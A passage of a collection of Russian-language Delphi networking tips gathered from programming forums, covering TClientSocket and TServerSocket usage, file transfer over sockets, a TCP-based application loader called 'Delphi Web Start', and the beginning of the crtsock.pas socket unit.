procedure T...Form.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  // Получаем результат
  FResult:=FResult+Socket.ReceiveText;
end;

procedure T...Form.ClientSocket1Disconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  // ЗДЕСЬ МОЖНО ОБРАБОТАТЬ FResult //
end;

procedure T...Form.ClientSocket1Error(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  ErrorCode := 0; // Игнорируем ошибки
end;

{
А эта подпрограмма, которую можно использовать для постинга данных формы.
}
procedure T...Form.PostTheForm;
begin
  // Очищаем результаты
  FResult:='';

  // Вы можете ввести поля формы, которые необходимы
  // Вот некоторые примеры:
  FContent:=
   'Name='+    HTTPTran('John Smith')            +'&'+
   'Address='+ HTTPTran('1 Waystreet')          +'&'+
   'Email='+   HTTPTran('jsmith@somewhere.com') +'&'+
   'B1=Submit'+
   #10;

  // Вычисляем длину содержимого
  FContent:=
    'Content-Length: '+IntToStr(Length(FContent))+#10+#10+FContent;

  {-- Начало прокси ---}
  { если Вы используете прокси, то раскоментируйте этот код
  ClientSocket1.Host := ProxyServer;
  ClientSocket1.Port := ProxyPort;
  HTTP_POST := 'POST http://'+WebServer+PostAddr+' HTTP/1.0'#10;
  {--- Конец прокси ---}

  {--- Начало соединения напрямую --- }
  { удалите этот код, еслы Вы будете использовать прокси }
  ClientSocket1.Host := WebServer;
  ClientSocket1.Port := WebPort;
  HTTP_POST := 'POST '+PostAddr+' HTTP/1.0'#10;
  {--- Конец соединения напрямую ---}

  // Соединяем заголовок
  HTTP_Post := HTTP_Post + HTTP_Data;

  // Пытаемся открыть соединение
  ClientSocket1.Open;
end;
Взято из http://forum.sources.ru


Использование компонента TServerSocket

Автор: Brian Pedersen

В Delphi документации по многопотоковому TServerSocket налито довольно много воды, и начинающему программисту сложно понять суть дела. Давайте попытаемся пролить немного света на этот раздел хелпа.

Совместимость: Delphi 3.x (или выше)

Вообще-то, создать многопотоковый сервер, который ожидает пришедшие сообщения на сокете довольно просто. В Delphi для этой цели достаточно использовать компонент TServerSocket.

Давайте рассмотрим структуру работы данного компонента:

- Добавляем TServerSocket в Вашу основную форму.
- Устанавливаем свойство Servertype в stThreadBlocking
- Создаём новый "unit" (показанный ниже) содержащий поток сервера.

Устанавливаем следующий код на OnSocketGetThread

procedure TfrmMain.fSocketGetThread(Sender: TObject;
  ClientSocket: TServerClientWinSocket;
  var SocketThread: TServerClientThread);
begin
  // Здесь создаём объект TServerThread, который я привожу ниже.
  // Новый объект создаётся каждый раз, когда когда установлен канал связи.
  SocketThread := TServerThread.Create( FALSE, ClientSocket );
end;

TServerThread - это объект, который я создаю самостоятельно. Объект наследуется от TServerClientThread и содержит код, который обычно читает и пишет данные из/в сокет.

Созданный "unit", содержит следующий код:

unit serverthread;

interface

uses
  windows, scktcomp, SysUtils, Classes, Forms;

type
  EServerThread = class( Exception );
  // serverthread это потомок TServerClientThread
  TServerThread = class( TServerClientThread )
    private
      fSocketStream : TWinSocketStream;
    public
      procedure ClientExecute; override;
      // ClientExecute отменяет
      // TServerClientThread.ClientExecute
      // и содержит код, который
      // выполняется при старте потока
  end;

implementation

procedure TServerThread.ClientExecute;
begin
  inherited FreeOnTerminate := TRUE;
  try
    fSocketStream := TWinSocketStream.Create( ClientSocket,
                                              100000 );
    // 100000 - это таймаут в миллисекундах.
    try
      while ( not Terminated ) and ( ClientSocket.Connected ) do
      try
        // В это место обычно помещается код,
        // ожидающий входных данных, читающий из сокета или пишущий в него
        // Пример, приведённый ниже, показывает, что можно добавить в данную
        // секцию программы.
      except on e:exception do
        begin
          // Если произошла ошибка, то закрываем сокет и выходим
          ClientSocket.Close;
          Terminate;
        end;
      end;
    finally
      fSocketStream.Free;
    end;
  except on e:exception do
    begin
      // Если произошла ошибка, то закрываем сокет и выходим
      ClientSocket.Close;
      Terminate;
    end;
  end;
end;

Когда связь установлена, потоку необходимо ожидать входящих данных(запроса от клиента). Для этого можно использовать следующий код:

if ( not Terminated ) and
   ( not fSocketStream.WaitForData( 1000000 ) ) then
begin
  // Обработчик таймаута (т.е. если по истечении 1000000 миллисекунд
  // от клиента не пришло запроса
end;
// В сокете есть входящие данные!

Для чтения данных, Вам понадобится создать буфер для хранения полученных данных. Обычно буфер - это PByteArray или массив символов. В этом примере я обозвал буфер как fRequest который является массивом символов. Кроме того я ожидаю фиксированное количество байт. Массив имеет постоянный размер REQUESTSIZE.

var
  ac, readlen : integer;
begin
  FillChar( fRequest, REQUESTSIZE, 0 );
  ac := 0;
  repeat
    readlen := fSocketStream.Read( fRequest[ac],
                                   1024 );
    // считываем блоки по 1024 байт, до тех пор, пока буфер
    // не заполнится
    ac := ac+readlen;
  until ( readlen = 0 ) or ( ac = REQUESTSIZE );
end;

Если readlen равно 0, значит больше нет входящих данных. Функция Чтения завершается через 100000 миллисекунд после запуска в TWinSocketStream.Create(). Если Вы не знаете сколько времени нужно ожидать запроса от клиента, то чем меньше будет таймаут, тем лучше. В большинстве случаев максимальный таймаут не должен превышать 30 секунд.

При посылке ответа, Вы должны знать, в каком режиме работает клиент. Многие клиенты ожидают только один пакет ответа, другие ожидают несколько пакетов. В этом примере, я подразумеваю клиента, который ожидает только один пакет, так что я должен послать мои данные назад в одном блоке:

fSocketStream.WriteBuffer( fRep, fReplySize );

fRep это буфер, содержащий ответ на запрос клиента, и fReplySize - это размер буфера.
Взято из http://forum.sources.ru


Программирование серверов на основе сокетов в Дельфи

Данная статья посвящена созданию приложений архитектуры клиент/сервер в Borland Delphi на основе сокетов ("sockets" - гнезда). В отличие от предыдущей статьи на тему сокетов, здесь мы разберем создание серверных приложений.
Следует сразу заметить, что для сосуществования отдельных приложений клиента и сервера не обязательно иметь несколько компьютеров. Достаточно иметь лишь один, на котором Вы одновременно запустите и сервер, и клиент. При этом нужно в качестве имени компьютера, к которому надо подключиться, использовать хост-имя localhost или IP-адрес - 127.0.0.1.
Итак, начнем с теории. Если Вы убежденный практик (и в глаза не можете видеть всяких алгоритмов), то Вам следует пропустить этот раздел.

Алгоритм работы сокетного сервера

Что же позволяет делать сокетный сервер?.. По какому принципу он работает?.. Сервер, основанный на сокетном протоколе, позволяет обслуживать сразу множество клиентов. Причем, ограничение на их количество Вы можете указать сами (или вообще убрать это ограничение, как это сделано по умолчанию). Для каждого подключенного клиента сервер открывает отдельный сокет, по которому Вы можете обмениваться данными с клиентом. Также отличным решением является создание для каждого подключения отдельного процесса (Thread).

Ниже следует примерная схема работы сокетного сервера в Дельфи-приложениях:

Разберем схему подробнее:
· Определение св-в Port и ServerType - чтобы к серверу могли нормально подключаться клиенты, нужно, чтобы порт, используемый сервером точно совпадал с портом, используемым клиентом (и наоборот). Свойство ServerType определяет тип подключения (подробнее см.ниже);
· Открытие сокета - открытие сокета и указанного порта. Здесь выполняется автоматическое начало ожидания подсоединения клиентов (Listen);
· Подключение клиента и обмен данными с ним - здесь подключается клиент и идет обмен данными с ним. Подробней об этом этапе можно узнать ниже в этой статье и в статье про сокеты (клиентская часть);
· Отключение клиента - Здесь клиент отключается и закрывается его сокетное соединение с сервером;
· Закрытие сервера и сокета - По команде администратора сервер завершает свою работу, закрывая все открытые сокетные каналы и прекращая ожидание подключений клиентов.
Следует заметить, что пункты 3-4 повторяются многократно, т.е. эти пункты выполняются для каждого нового подключения клиента.
Примечание: Документации по сокетам в Дельфи на данный момент очень мало, так что, если Вы хотите максимально глубоко изучить эту тему, то советую просмотреть литературу и электронную документацию по Unix/Linux-системам - там очень хорошо описана теория работы с сокетами. Кроме того, для этих ОС есть множество примеров сокетных приложений (правда, в основном на C/C++ и Perl).

Краткое описание компонента TServerSocket
Здесь мы познакомимся с основными свойствами, методами и событиями компонента

Свойства
Socket - класс TServerWinSocket, через который Вы имеете доступ к открытым сокетным каналам. Далее мы рассмотрим это свойство более подробно, т.к. оно, собственно и есть одно из главных. Тип: TServerWinSocket;
ServerType - тип сервера. Может принимать одно из двух значений: stNonBlocking - синхронная работа с клиентскими сокетами. При таком типе сервера Вы можете работать с клиентами через события OnClientRead и OnClientWrite. stThreadBlocking - асинхронный тип. Для каждого клиентского сокетного канала создается отдельный процесс (Thread). Тип: TServerType;
ThreadCacheSize - количество клиентских процессов (Thread), которые будут кэшироваться сервером. Здесь необходимо подбирать среднее значение в зависимости от загруженности Вашего сервера. Кэширование происходит для того, чтобы не создавать каждый раз отдельный процесс и не убивать закрытый сокет, а оставить их для дальнейшего использования. Тип: Integer;
Active - показатель того, активен в данных момент сервер, или нет. Т.е., фактически, значение True указывает на то, что сервер работает и готов к приему клиентов, а False - сервер выключен. Чтобы запустить сервер, нужно просто присвоить этому свойству значение True. Тип: Boolean;
Port - номер порта для установления соединений с клиентами. Порт у сервера и у клиентов должны быть одинаковыми. Рекомендуются значения от 1025 до 65535, т.к. от 1 до 1024 - могут быть заняты системой. Тип: Integer;
Service - строка, определяющая службу (ftp, http, pop, и т.д.), порт которой будет использован. Это своеобразный справочник соответствия номеров портов различным стандартным протоколам. Тип: string;

Методы
Open - Запускает сервер. По сути, эта команда идентична присвоению значения True свойству Active;
Close - Останавливает сервер. По сути, эта команда идентична присвоению значения False свойству Active.

События
OnClientConnect - возникает, когда клиент установил сокетное соединение и ждет ответа сервера (OnAccept);
OnClientDisconnect - возникает, когда клиент отсоединился от сокетного канала;
OnClientError - возникает, когда текущая операция завершилась неудачно, т.е. произошла ошибка;
OnClientRead - возникает, когда клиент передал берверу какие-либо данные. Доступ к этим данным можно получить через пеаедаваемый параметр Socket: TCustomWinSocket;
OnClientWrite - возникает, когда сервер может отправлять данные клиенту по сокету;
OnGetSocket - в обработчике этого события Вы можете отредактировать параметр ClientSocket;
OnGetThread - в обработчике этого события Вы можете определить уникальный процесс (Thread) для каждого отдельного клиентского канала, присвоив параметру SocketThread нужную подзадачу TServerClientThread;
OnThreadStart, OnThreadEnd - возникает, когда подзадача (процесс, Thread) запускается или останавливается, соответственно;
OnAccept - возникает, когда сервер принимает клиента или отказывает ему в соединении;
OnListen - возникает, когда сервер переходит в режим ожидания подсоединения клиентов.

TServerSocket.Socket (TServerWinSocket)

Итак, как же сервер может отсылать данные клиенту? А принимать данные? В основном, если Вы работаете через события OnClientRead и OnClientWrite, то общаться с клиентом можно через параметр ClientSocket (TCustomWinSocket). Про работу с этим классом можно прочитать в статье про клиентские сокеты, т.к. отправка/посылка данных через этот класс аналогична - методы (Send/Receive)(Text,Buffer,Stream). Также и при работе с TServerSocket.Socket. Однако, т.к. здесь мы рассматриваем сервер, то следует выделить некоторые полезные свойства и методы:
· ActiveConnections (Integer) - количество подключенных клиентов;
· ActiveThreads (Integеr) - количество работающих процессов;
· Connections (array) - массив, состоящий из отдельных классов TClientWinSocket для каждого подключенного клиента. Например, такая команда:
· ServerSocket1.Socket.Connections[0].SendText('Hello!');
· отсылает первому подключенному клиенту сообщение 'Hello!'. Команды для работы с элементами этого массива - также (Send/Receive)(Text,Buffer, Stream);
· IdleThreads (Integer) - количество свободных процессов. Такие процессы кэшируются сервером (см. ThreadCacheSize);
· LocalAddress, LocalHost, LocalPort - соответственно - локальный IP-адрес, хост-имя, порт;
· RemoteAddress, RemoteHost, RemotePort - соответственно - удаленный IP-адрес, хост-имя, порт;
· Методы Lock и UnLock - соответственно, блокировка и разблокировка сокета.

Практика и примеры

А теперь рассмотрим вышеприведенное на конкретном примере. Скачать уже готовые исходники можно, щелкнув здесь.
Итак, рассмотрим очень неплохой пример работы с TServerSocket (этот пример - наиболее наглядное пособие для изучения этого компонента). В приведенных ниже исходниках демонстрируется протоколирование всех важных событий сервера, плюс возможность принимать и отсылать текстовые сообщения:

Пример 1. Протоколирование и изучение работы сервера, посылка/прием сообщений через сокеты.

{... Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1}

    {Полный исходник смотри здесь}

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      {Определяем порт и запускаем сервер}
      ServerSocket1.Port := 1025;
      {Метод Insert вставляет строку в массив в указанную позицию}
      Memo2.Lines.Insert(0,'Server starting');
      ServerSocket1.Open;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    begin
      {Останавливаем сервер}
      ServerSocket1.Active := False;
      Memo2.Lines.Insert(0,'Server stopped');
    end;

    procedure TForm1.ServerSocket1Listen(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь сервер "прослушивает" сокет на наличие клиентов}
      Memo2.Lines.Insert(0,'Listening on port '+IntToStr(ServerSocket1.Port));
    end;

    procedure TForm1.ServerSocket1Accept(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь сервер принимает клиента}
      Memo2.Lines.Insert(0,'Client connection accepted');
    end;

    procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь клиент подсоединяется}
      Memo2.Lines.Insert(0,'Client connected');
    end;

    procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь клиент отсоединяется}
      Memo2.Lines.Insert(0,'Client disconnected');
    end;

    procedure TForm1.ServerSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    begin
      {Произошла ошибка - выводим ее код}
      Memo2.Lines.Insert(0,'Client error. Code = '+IntToStr(ErrorCode));
    end;

    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {От клиента получено сообщение - выводим его в Memo1}
      Memo2.Lines.Insert(0,'Message received from client');
      Memo1.Lines.Insert(0,'> '+Socket.ReceiveText);
    end;

    procedure TForm1.ServerSocket1ClientWrite(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Теперь можно слать данные в сокет}
      Memo2.Lines.Insert(0,'Now can write to socket');
    end;

    procedure TForm1.ServerSocket1GetSocket(Sender: TObject; Socket: Integer;
      var ClientSocket: TServerClientWinSocket);
    begin
      Memo2.Lines.Insert(0,'Get socket');
    end;

    procedure TForm1.ServerSocket1GetThread(Sender: TObject;
      ClientSocket: TServerClientWinSocket;
      var SocketThread: TServerClientThread);
    begin
      Memo2.Lines.Insert(0,'Get Thread');
    end;

    procedure TForm1.ServerSocket1ThreadEnd(Sender: TObject;
      Thread: TServerClientThread);
    begin
      Memo2.Lines.Insert(0,'Thread end');
    end;

    procedure TForm1.ServerSocket1ThreadStart(Sender: TObject;
      Thread: TServerClientThread);
    begin
      Memo2.Lines.Insert(0,'Thread start');
    end;

    procedure TForm1.Button3Click(Sender: TObject);
     var i: Integer;
    begin
      {Посылаем ВСЕМ клиентам сообщение из Edit1}
      for i := 0 to ServerSocket1.Socket.ActiveConnections-1 do begin
       ServerSocket1.Socket.Connections[i].SendText(Edit1.Text);
      end;
      Memo1.Lines.Insert(0,'< '+Edit1.Text);
    end;

Далее мы будем рассматривать уже не примеры, а приемы работы с TServerSocket.

Приемы работы с TServerSocket (и просто с сокетами)

Хранение уникальных данных для каждого клиента.
Наверняка, если Ваш сервер будет обслуживать множество клиентов, то Вам потребуется хранить какую-либо информацию для каждого клиента (имя, и др.), причем с привязкой этой информации к сокету данного клиента. В некоторых случаях делать все это вручную (привязка к handle сокета, массивы клиентов, и т.д.) не очень удобно. Поэтому для каждого сокета существует специальное свойство - Data. На самом деле, Data - это всего-навсего указатель. Поэтому, записывая данные клиента в это свойство будьте внимательны и следуйте правилам работы с указателями (выделение памяти, определение типа, и т.д.)!
Посылка файлов через сокет.
Здесь мы рассмотрим посылку файлов через сокет (по просьбе JINX-а) :-). Итак, как же послать файл по сокету? Очень просто! Достаточно лишь открыть этот файл как файловый поток (TFileStream) и отправить его через сокет (SendStream)! Рассмотрим это на примере:

{Посылка файла через сокет}
  procedure SendFileBySocket(filename: string);
   var srcfile: TFileStream;
  begin
    {Открываем файл filename}
    srcfile := TFileStream.Create(filename,fmOpenRead);
    {Посылаем его первому подключенному клиенту}
    ServerSocket1.Socket.Connections[0].SendStream(srcfile);
    {Закрываем файл}
    srcfile.Free;
  end;

Нужно заметить, что метод SendStream используется не только сервером, но и клиентом (ClientSocket1.Socket.SendStream(srcfile))
Почему несколько блоков при передаче могут обьединяться в один
Это тоже по просьбе JINX-а :-). За это ему огромное спасибо! Итак, во-первых, надо заметить, что посылаемые через сокет данные могут не только объединяться в один блок, но и разъединяться по нескольким блокам. Дело в том, что сокет - обычный поток, но в отличие, скажем, от файлового (TFileStream), он передает данные медленнее (сами понимаете - сеть, ограниченный трафик, и т.д.). Именно поэтому две команды:
ServerSocket1.Socket.Connections[0].SendText('Hello, ');
ServerSocket1.Socket.Connections[0].SendText('world!');
совершенно идентичны одной команде:
ServerSocket1.Socket.Connections[0].SendText('Hello, world!');
И именно поэтому, если Вы отправите через сокет файл, скажем, в 100 Кб, то тому, кому Вы посылали этот блок, придет несколько блоков с размерами, которые зависят от трафика и загруженности линии. Причем, размеры не обязательно будут одинаковыми. Отсюда следует, что для того, чтобы принять файл или любые другие данные большого размера, Вам следует принимать блоки данных, а затем объединять их в одно целое (и сохранять, например, в файл). Отличным решением данной задачи является тот же файловый поток - TFileStream (либо поток в памяти - TMemoryStream). Принимать частички данных из сокета можно через событие OnRead (OnClientRead), используя универсальный метод ReceiveBuf. Определить размер полученного блока можно методом ReceiveLength. Также можно воспользоваться сокетным потоком (см. статью про TClientSocket). А вот и небольшой примерчик (приблизительный):

{Прием файла через сокет}
  procedure TForm1.ClientSocket1Read(Sender: TObject;
    Socket: TCustomWinSocket);
   var l: Integer;
       buf: PChar;
       src: TFileStream;
  begin
    {Записываем в l размер полученного блока}
    l := Socket.ReceiveLength;
    {Заказываем память для буфера}
    GetMem(buf,l+1);
    {Записываем в буфер полученный блок}
    Socket.ReceiveBuf(buf,l);
    {Открываем временный файл для записи}
    src := TFileStream.Create('myfile.tmp',fmOpenReadWrite);
    {Ставим позицию в конец файла}
    src.Seek(0,soFromEnd);
    {Записываем буфер в файл}
    src.WriteBuffer(buf,l);
    {Закрываем файл}
    src.Free;
    {Освобождаем память}
    FreeMem(buf);
  end;

Как следить за сокетом
Это вопрос сложный и требует долгого рассмотрения. Пока лишь замечу, что созданный Вашей программой сокет Вы можете промониторить всегда :-). Сокеты (как и большинство объектов в Windows) имеют свой дескриптор (handle), записанный в свойстве Handle. Так вот, узнав этот дескриптор Вы свободно сможете управлять любым сокетом (даже созданным чужой программой)! Однако, скорее всего, чтобы следить за чужим сокетом, Вам придется использовать исключительно функции WinAPI Sockets.

Эпилог

В этой статье отображены основные приемы работы с компонентом TServerSocket в Дельфи и несколько общих приемов для обмена данными по сокетам. Если у Вас есть вопросы - скидывайте их мне на E-mail: snick@mailru.com, а еще лучше - пишите в конференции этого сайта (Delphi. Общие вопросы), чтобы и другие пользователи смогли увидеть Ваш вопрос и попытаться на него ответить!
Карих Николай (Nitro). Московская область, г.Жуковский

Взято из http://forum.sources.ru


Определить, занят ли порт сокета

var SockAddrIn : TSockAddrIn;
    FSocket    : TSocket;

  ...

  If  bind(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> 0 Then
  begin
    обрабатываем WSAGetLastError
  end;

Взято с http://delphiworld.narod.ru


Где TServerSocket и TClientSocket в Delphi 7?

The TClientSocket and TServerSocket components seem to be missing from my installation of Delphi 7?

You will need to add the dclsockets package to the IDE. To do this go to Component | Install Packages | Add (/bin/dclsockets70.bpl).


Использование WSAAsyncSelect в DLL

Что нужно давать WSAAsyncSelect в качестве параметра handle если тот запускается и используется в dll (init) и никакой формы (у которой можно было бы взять этот handle) в этом dll не создается. Что бы такого сделать чтобы работало?

const
 WM_ASYNCSELECT = WM_USER+0;
type
 TNetConnectionsManager = class(TObject)
protected
 FWndHandle : HWND;
 procedure WndProc( var MsgRec : TMessage );
 ...
end;

constructor TNetConnectionsManager.Create
begin
 inherited Create;
 FWndHandle := AllocateHWnd(WndProc);
 ...
end;

destructor TNetConnectionsManager.Destroy;
begin
 ...
 if FWndHandle<>0 then DeallocateHWnd(FWndHandle);
 inherited Destroy;
end;

procedure TNetConnectionsManeger.WndProc( var MsgRec : TMessage );
begin
 with MsgRec do
   if Msg=WM_ASYNCSELECT then
     WMAsyncSelect(MsgRec)
   else
     DefWindowProc( FWndHandle, Msg, wParam, lParam );
end;

Hо pекомендую посмотpеть WinSock2, в котоpом можно:

WSAEventSelect( FSocket, FEventHandle, FD_READ or FD_CLOSE );
WSAWaitForMultipleEvents( ... );
WSAEnumNetworkEvents( FSocket, FEventHandle, lpNetWorkEvents );

То есть, обойтись без окон и без очеpеди сообщений windows, а заодно иметь возможность pаботать и с IPX/SPX, и с netbios.
Свой winsock2.pas я вчеpа кинул в RU.DELPHI.DB, если кто имеет такой из дpугих источников - свистните погpомче.

Автор: Alex Konshin
alexk@msmt.spb.su
(2:5030/217)

Автор: StayAtHome

Взято с Vingrad.ru http://forum.vingrad.ru


do an application loader with TCP?

{
Loading Delphi apps without a browser and on Win as Linux as well needs a
decision once.
With a loader on the client side, no further installation is in charge.
We had the requirement starting different Delphi apps from a
linux or windows server, wherever you are.
We call it Delphi Web Start (DWS).
The dws-client gets a list and after clicking on it, the app is
loading from server to client with just a stream.
First we had to choose between a ftp and a tcp solution. The
advantage of tcp is the freedom to define a separate port, which
was "services, port 9010 - DelphiWebStart".
You will need indy. Because it is simple to use and very fast.
The tcp-server comes from indy which has one great advantage:

CommandHandlers is a collection of text commands that will be
processed by the server. This property greatly simplify the
process of building servers based on text protocols.

First we start with DWS_Server,
so we define two command handlers:
}

CTR_LIST = 'return_list';
CTR_FILE = 'return_file';

{
By starting the tcp-server it returns with the first command
handler "CTR_LIST" a list of the apps:
}

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
...
// comes with writeline from client
if sRequest = CTR_LIST then begin
  for idx:= 0 to meData.Lines.Count - 1 do
  athread.Connection.WriteLn(ExtractFileName(meData.Lines[idx]));
  aThread.Connection.WriteLn('::END::');
  aThread.Connection.Disconnect;

{
One word concerning the thread:
In the internal architecture there are 2 threads categories.

First is a listener thread that "listen" and waits for a
connection. So we don't have to worry about threads, the built in
thread will be served by indy though parameter:
}

IdTCPServer1Execute(AThread: TIdPeerThread)

{
When our dws-client is connected, this thread transfer all the
communication operations to another thread.
This technique is very efficient because your client application
will be able to connect any time, even if there are many
different connections to the server.
}

//The second command "CTR_FILE" transfers the app to the client:
if Pos(CTR_FILE, sRequest) > 0 then begin
    iPos := Pos(CTR_FILE, sRequest);
    FileName := GetFullPath(FileName);
    if FileExists(FileName) then begin
      lbStatus.Items.Insert(0, Format('%-20s %s',
        [DateTimeToStr(now), 'Transfer starts ...']));
     FileStream := TFileStream.Create(FileName, fmOpenRead +
     fmShareDenyNone);
     aThread.Connection.OpenWriteBuffer;
     aThread.Connection.WriteStream(FileStream);
     aThread.Connection.CloseWriteBuffer;
     FreeAndNil(FileStream);
     aThread.Connection.Disconnect;

{
Now let's have a look at the client side. The client connects to
the server, using the connect method of TIdTcpClient. In this
moment, the client sends any command to the server, in our case
(you remember DelphiWebStart) he gets the list of available apps:
}

    with IdTCPClient1 do begin
      if Connected then DisConnect;
      showStatus;
      Host:= edHost.Text;
      Port:= StrToInt(edPort.Text);
      Connect;
      WriteLn(CTR_LIST);

//After clicking on his choice, the app will be served:

with IdTCPClient1 do begin
ExtractFileName(lbres.Items[lbres.ItemIndex])]));
WriteLn(CTR_FILE + lbres.Items[lbres.ItemIndex]);
FileName:= ExpandFileName(edPath.Text + '/' +
ExtractFileName(lbres.Items[lbres.ItemIndex]));
...
FileStream := TFileStream.Create(FileName, fmCreate);
   while connected do begin
     ReadStream(FileStream, -1, true);
  ....
    {$IFDEF LINUX}
        execv(pchar(filename),NIL);
      //libc.system(pchar(filename));
     {$ENDIF}
     {$IFDEF MSWINDOWS}
     // shellapi.WinExec('c:\testcua.bat', SW_SHOW);
     with lbstatus.items do begin
       case  shellapi.shellExecute(0,'open', pchar(filename), '',NIL,
                    SW_SHOWNORMAL) of
         0: insert(0, 'out of memory or resources');
         ERROR_BAD_FORMAT: insert(0, 'file is invalid in image');
         ERROR_FILE_NOT_FOUND: insert(0,'file was not found');
         ERROR_PATH_NOT_FOUND: insert(0,'path was not found');
       end;
       Insert(0, Format('%-20s %s',
               [DateTimeToStr(now), filename + ' Loaded...']));
     end
     {$ENDIF}

{
One note about execution on linux with libc-commands; there will
be better solutions (execute and wait and so on) and we still

work on it, so I'm curious about comments on

   "Delphi Web Start"

therfore my aim is to publish improvments in a basic framework on
sourceforge.net depends on your feedback ;)

Many thanks to Dr. Karlheinz Morth with a first glance.

Test your server with the telnet program. Type telnet
hostname:9010 and then: 'return_list' and you'll get the list
from the apps you defined in a txt-file on the server.
}

meData.Lines.LoadFromFile(ExpandFileName(FILE_PATH));

{
I know that we haven't implement an error handling procedure,
but for our scope this example is almost
sufficient.
Code is available: http://max.kleiner.com/download/dws.zip
}
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


CrtSock - модуль для работы с сокетами в Delphi32

Автор: Paul Toth
WEB-сайт: www.multimania.com/tothpaul

CrtSock. Модуль для работы с сокетами.
Совместимость: Delphi 2+

Поддерживает TCP и UDP пакеты.
Не использует winsock.pas, поскольку обращается непосредственно к wsock32.dll.
Набор функций позволяет разрабатывать как клиентские, так и серверные приложения.
Перечень включенных в модуль функций:

// Server side :
//  - start a server
//  - wait for a client
function StartServer(Port:word):integer;
function WaitClient(Server:integer):integer;
function WaitClientEx(Server:integer; var ip:string):integer;

// Client side :
//  - call a server
function CallServer(Server:string;Port:word):integer;

// Both side :
//  - Assign CRT Sockets
//  - Disconnect server
procedure AssignCrtSock(Socket:integer;
                        Var Input,Output:TextFile);
procedure Disconnect(Socket:integer);

// BroadCasting (UDP)
function StartBroadCast(Port:word):integer;
function SendBroadCast(Server:integer;
                       Port:word; s:string):integer;
function SendBroadCastTo(Server:integer;
                         Port:word;
                         ip,s:string):integer;
function ReadBroadCast(Server:integer; Port:word):string;
function ReadBroadCastEx(Server:integer;
                         Port:word;
                         var ip:string):string;

// BlockRead
function SockAvail(Socket:integer):integer;
function DataAvail(Var F:TextFile):integer;
Function BlockReadsock(Var F:TextFile;
                       var s:string):boolean;

Function send(socket:integer;
              data:pointer;
              datalen,
              flags:integer):integer; stdcall; far;
Function recv(socket:integer;
              data:pchar;
              datalen,
              flags:integer):integer; stdcall; far;

Дополнительно в комплект входят модули для работы с FTP, HTTP, SMTP, POP3.
В качестве примера приведена демонстрационная программа, использующая все эти возможности.

Взято с http://delphiworld.narod.ru


Crtsock.pas

unit crtsock;

{
  CrtSocket for Delphi 32
  Copyright (C) 1999-2001  Paul Toth <tothpaul@free.fr>
  http://tothpaul.free.fr

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

}

interface

uses windows,sysutils;

{-$define debug}

// Server side :
//  - start a server
//  - wait for a client
function StartServer(Port:word):integer;
function WaitClient(Server:integer):integer;
function WaitClientEx(Server:integer; var ip:string):integer;

// Client side :
//  - call a server
function CallServer(Server:string;Port:word):integer;

// Both side :
//  - Assign CRT Sockets
//  - Disconnect server
procedure AssignCrtSock(Socket:integer; Var Input,Output:TextFile);
procedure Disconnect(Socket:integer);

// BroadCasting (UDP)
function StartBroadCast(Port:word):integer;
function SendBroadCast(Server:integer; Port:word; s:string):integer;
function SendBroadCastTo(Server:integer; Port:word; ip,s:string):integer;
function ReadBroadCast(Server:integer; Port:word):string;
function ReadBroadCastEx(Server:integer; Port:word; var ip:string):string;

// BlockRead
function SockAvail(Socket:integer):integer;
function DataAvail(Var F:TextFile):integer;
Function BlockReadsock(Var F:TextFile; var s:string):boolean;

Function send(socket:integer; data:pointer; datalen,flags:integer):integer; stdcall; far;
Function recv(socket:integer; data:pchar; datalen,flags:integer):integer; stdcall; far;

// some usefull SOCKET apis
type
  PHost = ^THost;
  THost = packed record
    name     : PChar;
    aliases  : ^PChar;
    addrtype : Smallint;
    length   : Smallint;
    addr     : ^pointer;
  end;

  TSockAddr=packed record
   Family:word;
   Port:word;
   Addr:LongInt;
   Zeros:array[0..7] of byte;
  end;

  TTimeOut=packed record
   sec:integer;
   usec:integer;
  end;

Const
 fIoNbRead = $4004667F;

Function socket(Family,Kind,Protocol:integer):integer; stdcall;
Function closesocket(socket:Integer):integer; stdcall;
Function gethostbyname(HostName:PChar):PHost; stdcall;
Function gethostname(name:pchar; size:integer):integer; stdcall;
Function bind(Socket:Integer; Var SockAddr:TSockAddr; AddrLen:integer):integer; stdcall;
Function WSAGetLastError:integer; stdcall;
Function ioctlsocket(socket:integer; cmd: integer; var arg: integer): Integer; stdcall;

// Convert an IP Value to xxx.xxx.xxx.xxx string
Function LongToIp(Long:LongInt):string;
Function IpToLong(ip:string):longint;
Function HostToLong(AHost:string):LongInt;

Var
 EofSock:boolean;

implementation

//------ winsock -------------------------------------------------------
Const
 WinSock='wsock32.dll'; { 32bits socket DLL }
 Internet=2; { Internat familly }
 Stream=1;   { Streamed socket }
 Datagrams=2;
// fIoNbRead = $4004667F;
 sol_socket=$FFFF;
 SO_BROADCAST    = $0020;          { permit sending of broadcast msgs }

Type
  TWSAData = packed record
    wVersion: Word;
    wHighVersion: Word;
    szDescription: array[0..256] of Char;
    szSystemStatus: array[0..128] of Char;
    iMaxSockets: Word;
